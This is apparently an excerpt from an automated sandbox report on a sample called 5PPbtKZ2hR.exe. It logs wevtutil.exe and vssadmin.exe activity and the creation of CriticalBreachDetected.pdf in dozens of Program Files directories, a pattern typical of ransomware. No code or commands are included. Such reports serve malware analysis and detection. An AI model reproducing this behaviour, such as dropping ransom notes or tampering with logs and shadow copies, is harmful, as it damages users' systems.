Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\wevtutil.exe	Section loaded: kernel.appcore.dll

Source: C:\Windows\System32\vssadmin.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F2C2787D-95AB-40D4-942D-298F5F757874}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\7-Zip\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\7-Zip\Lang\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\locales\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\swiftshader\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\locales\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\swiftshader\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Air\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Assets\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\CAN\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\DEU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\FRA\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\JPN\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\UK\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Javascripts\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ar_AE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\cs_CZ\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\da_DK\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\de_DE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\el_GR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_AE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_GB\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_IL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_US\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\es_ES\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fi_FI\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_FR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_MA\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\he_IL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\it_IT\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ja_JP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ko_KR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nb_NO\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nl_NL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pl_PL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pt_BR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ru_RU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sk_SK\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sl_SI\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sv_SE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\tr_TR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\uk_UA\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_CN\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_TW\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Locale\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Locale\en_US\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\MPP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\prc\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Sequences\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Sequences\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Tracker\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\private\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\prod\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\stage\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\fonts\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\dev\cef\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\dev\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\dev\cef\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\dev\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\dev\cef\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\dev\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\hi_contrast\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\hi_contrast\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win-scrollbar\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win-scrollbar\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win-scrollbar\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win8-scrollbar\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win8-scrollbar\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
